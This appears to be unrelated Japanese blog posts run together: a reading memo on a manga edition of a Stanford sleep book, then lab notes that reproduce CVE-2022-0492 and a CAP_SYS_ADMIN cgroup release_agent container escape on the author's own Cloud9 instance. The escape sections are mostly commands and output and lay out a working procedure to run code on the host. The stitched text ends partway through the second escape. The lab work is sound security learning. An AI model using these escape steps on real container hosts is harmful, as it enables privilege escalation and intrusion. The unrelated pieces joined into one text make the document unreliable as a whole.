読書メモ: マンガでぐっすり! スタンフォード式 最高の睡眠

読書のコツとして同じカテゴリの本を複数まとめて読むと良いとされている。先日読んだ睡眠の本「睡眠こそ最強の解決策である」がとても良かったので、睡眠カテゴリの本を読もうと思い、レビューが多い「スタンフォード式 最高の睡眠」という本のマンガ版に手を出してみた。

192 ページ、平均読書時間は 1 時間 31 分の本。自分の場合は 2 時間くらい。

全体的な感想

睡眠こそ最強の解決策である」は睡眠の重要性を科学的に説明することに主眼を置いており、とても良い本であったが、具体的な睡眠の改善方法についても記載は多くなかった。この本は具体的な睡眠の改善方法のほうに焦点を宛てて書かれている点が良い。寝るときに靴下を履かないなど、具体的に実践しやすいことが書かれている。マンガであるためで本編では違うかも知れないが、睡眠についての科学的な説明は浅めに感じた。「睡眠こそ最強の解決策である」では 8 時間睡眠の重要性や、レム睡眠が多い明け方の睡眠の重要性を解いているが、この本では「黄金の 90 分」として最初の 90 分のノンレム睡眠を重要としており、睡眠時間の長さよりも質が重要であるとするなど、一部の主張では対立するところもあると感じた。「睡眠こそ最強の解決策である」のほうが説明が丁寧だったこともあり正しそうな気がするが、この本はより具体的に実行可能であることを重視した主張をしているのだと思う。

3 つのポイントに要約

  • 睡眠の効果は「脳と体の休息」「記憶の整理」「ホルモンバランスの調整」「免疫力の向上」「脳の老廃物の除去」の 5 つ。
  • 睡眠の長さよりも質が重要であり、質を高めるためには、眠りはじめの最初のノンレム睡眠「黄金の 90 分」がとても重要である。
  • 睡眠の質を高めるためには、体温のコントロールが重要であり、入眠に向けての深部体温の低下を促進するようにする必要がある。

気になった部分の引用

じつは「長く眠ること=良い睡眠」というわけではありません。今の睡眠時間を増やせないのであれば、その質を高めることで「日中眠たい」「朝、目覚めが悪い」といった悩みを解消していきましょう。そのための現実的な解決策を本書では提案していきたいと思います。

私は「睡眠負債の解消のために、より長く眠ってください」などと単純な話で終わらせるつもりはありません。実際問題として「毎日の7時間睡眠」を確保することがとても難しいから、あなたは今、この本を手に取っている。そうではないでしょうか。

睡眠時間を増やすのは簡単ではないので、質を高めるという現実的な方向に沿った主張がこの本ではされている。

たとえば睡眠を制限したとき、食欲を抑制するホルモン「レプチン」が減り、反対に食欲を増すホルモン「グレリン」が増加することは前述のとおり。その結果、食べすぎて肥満を招くことになるのですが、肥満に限らず「睡眠が足りない」と、ホルモン分泌が乱れることで思わぬ健康被害を招きかねません。

睡眠不足が肥満に繋がる点については「睡眠こそ最強の解決策である」でも述べられており、ちょうど今ダイエットに取り組んでいて実感しているところ。

「6時間睡眠の人」と「8時間睡眠の人」を比較した場合、眠り始めの質によっては「6時間睡眠の人」のほうがぐっすり眠れ、覚醒後もすっきりしていることがありえるのです。

この本では 6 時間睡眠でも、睡眠の質が高ければ問題ないと主張しているが、本当にそうなのだろうか。「睡眠こそ最強の解決策である」では 6 時間睡眠は睡眠不足とされており、質についての議論はなかった。

0.5℃あがった「深部体温」が元に戻るまでに要する時間は約90分。入浴前よりもさらに下がっていくのはそれからです。つまり、寝る90分前に入浴をすませておけば、寝る頃には深部体温がぐっと下がって皮膚温度との差も縮まり、スムーズに入眠できることになります。

スムーズに寝るために最も効果的な方法として入浴があげられている。確かに、最近は子どもを風呂に入れて寝かしつけるという毎日のルーティンがちょうどこのとおりの時間になっており、自分も子どもも寝付きはスムーズである。

また体温を動かす他のスイッチとしては、入眠前の軽い運動という方法も想定されます。ただし、過度な運動は交感神経が刺激されるので入眠には不向き。脳は活性化し目が冴えてしまいます。

以前、寝る前にジョギングをしていた時期もあったが、最近は朝にジョギングをしている。これも睡眠の質を高めるための習慣としては適切であった。

入眠に必須の「熱放散」を促す“入浴以外の方法”も紹介したいと思います。それは「靴下を履かない」ことと、「枕で頭を冷やす」という2つです。

靴下は履いていないが、枕については気にしたことがなかったので、取り入れてみたい。

そして、お酒も適量であればギャバの効果を強め、入眠をうながします。

良質な睡眠のためには、日本酒換算で1〜1.5合(ビールならショート缶1本)が適量です。1合程度なら、寝る100分前に飲むと寝つきが良くなり、翌日のコンディションも妨げられないと報告されています。

最近はお酒を飲まないので関係ないけれども、「睡眠こそ最強の解決策である」ではお酒は明確に良くないとされていたので、違う主張だなと思ったところ。

CVE-2022-0492 を試す

コンテナなセキュリティの理解を深めるために CVE-2022-0492 を試してみるメモ。

前提として、CAP_SYS_ADMIN を持つコンテナはコンテナエスケープ可能であることを前回のブログで確認した。

参考資料

脆弱性修正済みのバージョンでの検証

Ubuntu で Cloud9 を起動する。

カーネルバージョンを確認する。

Admin:~/environment $ uname -r
5.4.0-1069-aws
Admin:~/environment $ 

こちらによると、CVE-2022-0492 は 5.4.0-1069.73 で修正されていそうに見える。

このままこのバージョンで試してみる。Seccomp と AppArmor の無効化が必要なことに注意。capsh コマンドを入れておく。

Admin:~/environment $ docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
Unable to find image 'ubuntu:latest' locally
latest: Pulling from library/ubuntu
4d32b49e2995: Pull complete 
Digest: sha256:bea6d19168bbfd6af8d77c2cc3c572114eb5d113e6f422573c93cb605a0e2ffb
Status: Downloaded newer image for ubuntu:latest
root@4765d3efdb9f:/# apt-get update && apt-get install -y libcap2-bin

(snip)

このプロセスは CAP_SYS_ADMIN は持っていない。

root@4765d3efdb9f:/# set `cat /proc/self/status | grep CapEff`; capsh --decode=$2 | grep sys_admin
root@4765d3efdb9f:/# 

unshare コマンドで、親とは別の Namespace で bash を実行すると、CAP_SYS_ADMIN を持つことができる。

root@4765d3efdb9f:/# unshare -UrmC bash
root@4765d3efdb9f:/# set `cat /proc/self/status | grep CapEff`; capsh --decode=$2
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
root@4765d3efdb9f:/# 

なお、unshare のオプションは以下の通り。

root@4765d3efdb9f:/# unshare -h

Usage:
 unshare [options] [<program> [<argument>...]]

Run a program with some namespaces unshared from the parent.

Options:
 -m, --mount[=<file>]      unshare mounts namespace
 -u, --uts[=<file>]        unshare UTS namespace (hostname etc)
 -i, --ipc[=<file>]        unshare System V IPC namespace
 -n, --net[=<file>]        unshare network namespace
 -p, --pid[=<file>]        unshare pid namespace
 -U, --user[=<file>]       unshare user namespace
 -C, --cgroup[=<file>]     unshare cgroup namespace

 -f, --fork                fork before launching <program>
 -r, --map-root-user       map current user to root (implies --user)

 --kill-child[=<signame>]  when dying, kill the forked child (implies --fork)
                             defaults to SIGKILL
 --mount-proc[=<dir>]      mount proc filesystem first (implies --mount)
 --propagation slave|shared|private|unchanged
                           modify mount propagation in mount namespace
 --setgroups allow|deny    control the setgroups syscall in user namespaces

 -R, --root=<dir>           run the command with root directory set to <dir>
 -w, --wd=<dir>     change working directory to <dir>
 -S, --setuid <uid>         set uid in entered namespace
 -G, --setgid <gid>         set gid in entered namespace

 -h, --help                display this help
 -V, --version             display version

For more details see unshare(1).
root@4765d3efdb9f:/# 

ここからは前回のコンテナエスケープと一緒。CAP_SYS_ADMIN があれば rdma を RW でマウントすることができてしまう。/tmp/crgp ディレクトリを作成し、rdma サブシステムをマウントし、その下に子 cgroup を作成する。

root@4765d3efdb9f:/# mkdir /tmp/cgrp
root@4765d3efdb9f:/# mount -t cgroup -o rdma cgroup /tmp/cgrp
root@4765d3efdb9f:/# mount | grep "cgroup (rw"
cgroup on /tmp/cgrp type cgroup (rw,relatime,rdma)
root@4765d3efdb9f:/# mkdir /tmp/cgrp/x
root@4765d3efdb9f:/# 

ディレクトリとファイルを確認する。

root@4765d3efdb9f:/# ls -l /tmp/cgrp/
total 0
-rw-r--r-- 1 root root 0 Mar 29 06:21 cgroup.clone_children
-rw-r--r-- 1 root root 0 Mar 29 06:21 cgroup.procs
-r--r--r-- 1 root root 0 Mar 29 06:21 cgroup.sane_behavior
-rw-r--r-- 1 root root 0 Mar 29 06:21 notify_on_release
-rw-r--r-- 1 root root 0 Mar 29 06:21 release_agent
-rw-r--r-- 1 root root 0 Mar 29 06:21 tasks
drwxr-xr-x 2 root root 0 Mar 29 06:22 x
root@4765d3efdb9f:/# ls -l /tmp/cgrp/x/
total 0
-rw-r--r-- 1 root root 0 Mar 29 06:22 cgroup.clone_children
-rw-r--r-- 1 root root 0 Mar 29 06:22 cgroup.procs
-rw-r--r-- 1 root root 0 Mar 29 06:22 notify_on_release
-r--r--r-- 1 root root 0 Mar 29 06:22 rdma.current
-rw-r--r-- 1 root root 0 Mar 29 06:22 rdma.max
-rw-r--r-- 1 root root 0 Mar 29 06:22 tasks
root@4765d3efdb9f:/# 

子 cgroup の notify_on_realse1 にする。

root@9d03d13ac863:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@9d03d13ac863:/# 

ホスト上のパスを取得し、実行するコマンドのパスを root cgroup の release_agent に書き込む。

root@4765d3efdb9f:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@4765d3efdb9f:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
bash: echo: write error: Operation not permitted
root@4765d3efdb9f:/# 

ここで失敗となった。脆弱性が修正されているということだと思われるので、カーネルをダウングレードする。

カーネルのダウングレード

カーネルをダウングレード場合のやり方は以下が参考になりそう。

Admin:~/environment $ dpkg --list | grep linux-image
ii  linux-image-5.4.0-1068-aws       5.4.0-1068.72~18.04.1               amd64        Signed kernel image aws
ii  linux-image-5.4.0-1069-aws       5.4.0-1069.73~18.04.1               amd64        Signed kernel image aws
ii  linux-image-aws                  5.4.0.1069.51                       amd64        Linux kernel image for Amazon Web Services (AWS) systems.
Admin:~/environment $ 

しかし、一つ前のバージョンのカーネルもインストールされているようなので、以下のリンクを参照に、一つ前のバージョンのカーネルを指定して起動することにする。

管理用の設定ファイルを編集する。

Admin:~/environment $ sudo vi /etc/default/grub

# 以下を編集
# GRUB_DEFAULT=0
GRUB_DEFAULT="1>2"

実際に使われる設定ファイルを生成する。

Admin:~/environment $ sudo update-grub
Sourcing file `/etc/default/grub'
Sourcing file `/etc/default/grub.d/50-cloudimg-settings.cfg'
Generating grub configuration file ...
Found linux image: /boot/vmlinuz-5.4.0-1069-aws
Found initrd image: /boot/initrd.img-5.4.0-1069-aws
Found linux image: /boot/vmlinuz-5.4.0-1068-aws
Found initrd image: /boot/initrd.img-5.4.0-1068-aws
done
Admin:~/environment $ 

再起動する。

sudo shutdown -r now

脆弱性のあるカーネルでの検証

カーネルバージョンを確認する。脆弱性のあるバージョンになっている。

Admin:~/environment $ uname -r
5.4.0-1068-aws
Admin:~/environment $ 

先ほどと同様にコンテナを起動する。capsh コマンドを入れておく。

Admin:~/environment $ docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
root@1685f29c7bf7:/# apt-get update && apt-get install -y libcap2-bin

(snip)

このプロセスは CAP_SYS_ADMIN は持っていない。

root@1685f29c7bf7:/# set `cat /proc/self/status | grep CapEff`; capsh --decode=$2 | grep sys_admin
root@1685f29c7bf7:/# 

unshare コマンドで、親とは別の Namespace で bash を実行すると、CAP_SYS_ADMIN を持つことができる。

root@1685f29c7bf7:/# unshare -UrmC bash
root@1685f29c7bf7:/# set `cat /proc/self/status | grep CapEff`; capsh --decode=$2
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
root@1685f29c7bf7:/# 

ここからは前回のコンテナエスケープと一緒。CAP_SYS_ADMIN があれば rdma を RW でマウントすることができてしまう。/tmp/crgp ディレクトリを作成し、rdma サブシステムをマウントし、その下に子 cgroup を作成する。

root@1685f29c7bf7:/# mkdir /tmp/cgrp
root@1685f29c7bf7:/# mount -t cgroup -o rdma cgroup /tmp/cgrp
root@1685f29c7bf7:/# mount | grep "cgroup (rw"
cgroup on /tmp/cgrp type cgroup (rw,relatime,rdma)
root@1685f29c7bf7:/# mkdir /tmp/cgrp/x

ディレクトリとファイルを確認する。

root@1685f29c7bf7:/# ls -l /tmp/cgrp/
total 0
-rw-r--r-- 1 root root 0 Mar 29 06:37 cgroup.clone_children
-rw-r--r-- 1 root root 0 Mar 29 06:37 cgroup.procs
-r--r--r-- 1 root root 0 Mar 29 06:37 cgroup.sane_behavior
-rw-r--r-- 1 root root 0 Mar 29 06:37 notify_on_release
-rw-r--r-- 1 root root 0 Mar 29 06:37 release_agent
-rw-r--r-- 1 root root 0 Mar 29 06:37 tasks
drwxr-xr-x 2 root root 0 Mar 29 06:37 x
root@1685f29c7bf7:/# ls -l /tmp/cgrp/x/
total 0
-rw-r--r-- 1 root root 0 Mar 29 06:37 cgroup.clone_children
-rw-r--r-- 1 root root 0 Mar 29 06:37 cgroup.procs
-rw-r--r-- 1 root root 0 Mar 29 06:37 notify_on_release
-r--r--r-- 1 root root 0 Mar 29 06:37 rdma.current
-rw-r--r-- 1 root root 0 Mar 29 06:37 rdma.max
-rw-r--r-- 1 root root 0 Mar 29 06:37 tasks
root@1685f29c7bf7:/# 

子 cgroup の notify_on_realse1 にする。

root@9d03d13ac863:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@9d03d13ac863:/# 

ホスト上のパスを取得し、実行するコマンドのパスを root cgroup の release_agent に書き込む。

root@1685f29c7bf7:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@1685f29c7bf7:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
root@1685f29c7bf7:/# 

今度は成功した。release_agent を確認する。

root@1685f29c7bf7:/# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/b0ed213bc78b6216d07ecbb72f3ff15c9e30af3ea2ecc4c4b46a80731f2c278e/diff/cmd
root@1685f29c7bf7:/# 

cmd を作成する。

root@1685f29c7bf7:/# echo '#!/bin/sh' > /cmd
root@1685f29c7bf7:/# echo "ps aux > $host_path/output" >> /cmd
root@1685f29c7bf7:/# chmod a+x /cmd
root@1685f29c7bf7:/# 

cmd の内容を確認する。

root@1685f29c7bf7:/# cat /cmd
#!/bin/sh
ps aux > /var/lib/docker/overlay2/b0ed213bc78b6216d07ecbb72f3ff15c9e30af3ea2ecc4c4b46a80731f2c278e/diff/output
root@1685f29c7bf7:/# 

これで準備はできたので、子 cgroup 内ですぐに終了するプロセスを生成する。シェルを実行して自身の PID を cgroup.props に書き込む。

root@1685f29c7bf7:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@1685f29c7bf7:/# 

ホスト側でコマンドを実行した出力が確認できた。

root@1685f29c7bf7:/# head /output
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.6  0.4 159524  8812 ?        Ss   06:33   0:02 /sbin/init
root         2  0.0  0.0      0     0 ?        S    06:33   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        I<   06:33   0:00 [rcu_gp]
root         4  0.0  0.0      0     0 ?        I<   06:33   0:00 [rcu_par_gp]
root         5  0.0  0.0      0     0 ?        I    06:33   0:00 [kworker/0:0-eve]
root         6  0.0  0.0      0     0 ?        I<   06:33   0:00 [kworker/0:0H-kb]
root         8  0.0  0.0      0     0 ?        I    06:33   0:00 [kworker/u4:0-ev]
root         9  0.0  0.0      0     0 ?        I<   06:33   0:00 [mm_percpu_wq]
root        10  0.0  0.0      0     0 ?        S    06:33   0:00 [ksoftirqd/0]
root@1685f29c7bf7:/# 

USER 指定していた場合

Dockerfile で USER 指定していたら防げるのかを確認しておく。

docker run のオプションでもよさそうだが、Dockerfile での指定で確認する。

cat << EOF > Dockerfile
FROM ubuntu
RUN useradd -U -l -M -s /bin/false appuser
USER appuser
EOF

イメージをビルドする。

Admin:~/environment $ docker build -t test .
Sending build context to Docker daemon  11.78kB
Step 1/3 : FROM ubuntu
 ---> ff0fea8310f3
Step 2/3 : RUN useradd -U -l -M -s /bin/false appuser
 ---> Running in 90b6a092b56a
Removing intermediate container 90b6a092b56a
 ---> 54dd50e9ae12
Step 3/3 : USER appuser
 ---> Running in fea20705f8d2
Removing intermediate container fea20705f8d2
 ---> 6f9bb7e8d5cf
Successfully built 6f9bb7e8d5cf
Successfully tagged test:latest
Admin:~/environment $ 

このイメージで同じことを試す。

Admin:~/environment $ docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined test
appuser@84c29e791eeb:/$ cat /proc/self/status | grep CapEff
CapEff: 0000000000000000
appuser@84c29e791eeb:/$ unshare -UrmC bash
root@84c29e791eeb:/# cat /proc/self/status | grep CapEff
CapEff: 0000003fffffffff
root@84c29e791eeb:/# mkdir /tmp/cgrp
root@84c29e791eeb:/# mount -t cgroup -o rdma cgroup /tmp/cgrp
root@84c29e791eeb:/# mount | grep "cgroup (rw"
cgroup on /tmp/cgrp type cgroup (rw,relatime,rdma,release_agent=/var/lib/docker/overlay2/b0ed213bc78b6216d07ecbb72f3ff15c9e30af3ea2ecc4c4b46a80731f2c278e/diff/cmd)
root@84c29e791eeb:/# mkdir /tmp/cgrp/xx
mkdir: cannot create directory '/tmp/cgrp/xx': Permission denied
root@84c29e791eeb:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@84c29e791eeb:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
bash: /tmp/cgrp/release_agent: Permission denied
root@84c29e791eeb:/# 

意外なことに、unshare を実行してケーパビリティを取得することはできていそうで、RW でのマウントもできていそうだが、ファイルの書き込みには失敗している。

unshare するとケーバビリティが取得できるのか

unshare できればケーパビリティが取得できているように見えるが、本当にそうなのか、コンテナの中からではなくホスト上から確認する。

コンテナを実行する。

Admin:~/environment $ docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bash
root@942ea4ea9620:/# unshare -UrmC bash
root@942ea4ea9620:/# ps -ef
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 07:22 pts/0    00:00:00 bash
root        10     1  0 07:23 pts/0    00:00:00 bash
root        13    10  0 07:23 pts/0    00:00:00 ps -ef
root@942ea4ea9620:/# 

別ターミナルからホスト上でこのコンテナとそのプロセスの PID を確認する。

Admin:~/environment $ docker ps
CONTAINER ID   IMAGE     COMMAND   CREATED              STATUS              PORTS     NAMES
942ea4ea9620   ubuntu    "bash"    About a minute ago   Up About a minute             beautiful_chatterjee
Admin:~/environment $ docker top 942ea4ea9620
UID                 PID                 PPID                C                   STIME               TTY                 TIME                CMD
root                8197                8173                0                   07:22               pts/0               00:00:00            bash
root                8260                8197                0                   07:23               pts/0               00:00:00            bash
Admin:~/environment $ ps -ef | grep 8197
root      8197  8173  0 07:22 pts/0    00:00:00 bash
root      8260  8197  0 07:23 pts/0    00:00:00 bash
ubuntu    8405  5667  0 07:26 pts/5    00:00:00 grep 8197
Admin:~/environment $ 

ホスト上からそれぞれのプロセスのケーパビリティを確認する。

Admin:~/environment $ cat /proc/8197/status | grep CapEff
CapEff: 00000000a80425fb
Admin:~/environment $ capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Admin:~/environment $ cat /proc/8260/status | grep CapEff
CapEff: 0000003fffffffff
Admin:~/environment $ capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read

USER 指定したコンテナでも同じことを試す。unshare で -r (--map-root-user) オプションを付けているので、app-user が root にマップされている。

Admin:~/environment $ docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined test
appuser@f1f10ca183e9:/$ ps -ef
UID        PID  PPID  C STIME TTY          TIME CMD
appuser      1     0  1 07:30 pts/0    00:00:00 bash
appuser      8     1  0 07:30 pts/0    00:00:00 ps -ef
appuser@f1f10ca183e9:/$ unshare -UrmC bash
root@f1f10ca183e9:/# ps -ef
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 07:30 pts/0    00:00:00 bash
root         9     1  0 07:30 pts/0    00:00:00 bash
root        11     9  0 07:30 pts/0    00:00:00 ps -ef
root@f1f10ca183e9:/# 

別ターミナルからホスト上でこのコンテナとそのプロセスの PID を確認する。コンテナ上の appuser ユーザーの UID が 1000 で、ホスト上の ubuntu ユーザーの UID も 1000 なので、ubuntu ユーザーで実行されている。

Admin:~/environment $ docker ps
CONTAINER ID   IMAGE     COMMAND   CREATED          STATUS          PORTS     NAMES
f1f10ca183e9   test      "bash"    33 seconds ago   Up 32 seconds             suspicious_merkle
Admin:~/environment $ docker top f1f10ca183e9
UID                 PID                 PPID                C                   STIME               TTY                 TIME                CMD
ubuntu              8990                8968                0                   07:30               pts/0               00:00:00            bash
ubuntu              9039                8990                0                   07:30               pts/0               00:00:00            bash
Admin:~/environment $ ps -ef | grep 8990
ubuntu    8990  8968  0 07:30 pts/0    00:00:00 bash
ubuntu    9039  8990  0 07:30 pts/0    00:00:00 bash
ubuntu    9151  5667  0 07:32 pts/5    00:00:00 grep 8990
Admin:~/environment $ 

ホスト上からそれぞれのプロセスのケーパビリティを確認する。

Admin:~/environment $ cat /proc/8990/status | grep CapEff
CapEff: 0000000000000000
Admin:~/environment $ capsh --decode=0000000000000000
0x0000000000000000=
Admin:~/environment $ cat /proc/9039/status | grep CapEff
CapEff: 0000003fffffffff
Admin:~/environment $ capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Admin:~/environment $ 

これはどういう状態と考えるべきなのか理解できない。非 root だがケーパビリティを持っている状態? unshare コマンドが実行できてしまうとかなり危険ということだろうか?

コンテナエスケープを試す

CAP_SYS_ADMIN を持つコンテナはコンテナエスケープ可能であることを、以下の記事に従って試してみるメモ。

これは以下のメカニズムを利用している。

1.4 What does notify_on_release do ?

If the notify_on_release flag is enabled (1) in a cgroup, then whenever the last task in the cgroup leaves (exits or attaches to some other cgroup) and the last child cgroup of that cgroup is removed, then the kernel runs the command specified by the contents of the "release_agent" file in that hierarchy's root directory, supplying the pathname (relative to the mount point of the cgroup file system) of the abandoned cgroup. This enables automatic removal of abandoned cgroups. The default value of notify_on_release in the root cgroup at system boot is disabled (0). The default value of other cgroups at creation is the current value of their parents' notify_on_release settings. The default value of a cgroup hierarchy's release_agent path is empty.

  • notify_on_release フラグが有効 (1) になっている場合、
  • cgroup の最後のタスクが終了する (終了するか、別の cgroup に接続する) たびに、
  • ルートディレクトリにある release_agent ファイルで指定されたコマンドが実行される

手順

Cloud9 を Ubuntu で起動する。Amazon Linux 2 だと、コンテナ内に root cgroup がマウントされたサブシステムがないため、この手法ではコンテナエスケープできないと思われる (release_agent は root cgroup にあるため)。

コンテナに CAP_SYS_ADMIN を与えて起動する。

Admin:~/environment $ docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
Unable to find image 'ubuntu:latest' locally
latest: Pulling from library/ubuntu
4d32b49e2995: Pull complete 
Digest: sha256:bea6d19168bbfd6af8d77c2cc3c572114eb5d113e6f422573c93cb605a0e2ffb
Status: Downloaded newer image for ubuntu:latest
root@9d03d13ac863:/# 

コンテナが持っているケーパビリティーを確認するには、capsh を入れるとよい。

apt-get update
apt-get install -y libcap2-bin

ケーパビリティを確認する。cap_sys_admin が確認できる。

root@9d03d13ac863:/# cat /proc/self/status | grep CapEff
CapEff: 00000000a82425fb
root@9d03d13ac863:/# capsh --decode=00000000a82425fb
0x00000000a82425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_admin,cap_mknod,cap_audit_write,cap_setfcap
root@9d03d13ac863:/# 

cgroup サブシステムを確認する。rdma が root cgroup になっている。

root@9d03d13ac863:/# cat /proc/self/cgroup
12:devices:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63
11:blkio:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63
10:pids:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63
9:hugetlb:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63
8:memory:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63
7:freezer:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63
6:perf_event:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63
5:rdma:/
4:cpuset:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63
3:cpu,cpuacct:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63
2:net_cls,net_prio:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63
1:name=systemd:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63
0::/system.slice/containerd.service
root@9d03d13ac863:/# 

rdma は RO でマウントされている。

root@9d03d13ac863:/# mount | grep "cgroup (ro"
cgroup on /sys/fs/cgroup/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd)
cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (ro,nosuid,nodev,noexec,relatime,net_cls,net_prio)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset)
cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma)
cgroup on /sys/fs/cgroup/perf_event type cgroup (ro,nosuid,nodev,noexec,relatime,perf_event)
cgroup on /sys/fs/cgroup/freezer type cgroup (ro,nosuid,nodev,noexec,relatime,freezer)
cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/hugetlb type cgroup (ro,nosuid,nodev,noexec,relatime,hugetlb)
cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids)
cgroup on /sys/fs/cgroup/blkio type cgroup (ro,nosuid,nodev,noexec,relatime,blkio)
cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)
root@9d03d13ac863:/# 

ここからコンテナエスケープの手順で、CAP_SYS_ADMIN があれば rdma を RW でマウントすることができてしまう。/tmp/crgp ディレクトリを作成し、rdma サブシステムをマウントし、その下に子 cgroup を作成する。

root@9d03d13ac863:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

なお、CAP_SYS_ADMIN がない場合は以下のようにマウントに失敗する。

root@4b3e32480952:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
mount: /tmp/cgrp: permission denied.

ディレクトリとファイルを確認する。

root@9d03d13ac863:/# ls -l /tmp/cgrp/
total 0
-rw-r--r-- 1 root root 0 Mar 28 09:48 cgroup.clone_children
-rw-r--r-- 1 root root 0 Mar 28 09:48 cgroup.procs
-r--r--r-- 1 root root 0 Mar 28 09:48 cgroup.sane_behavior
-rw-r--r-- 1 root root 0 Mar 28 09:48 notify_on_release
-rw-r--r-- 1 root root 0 Mar 28 09:48 release_agent
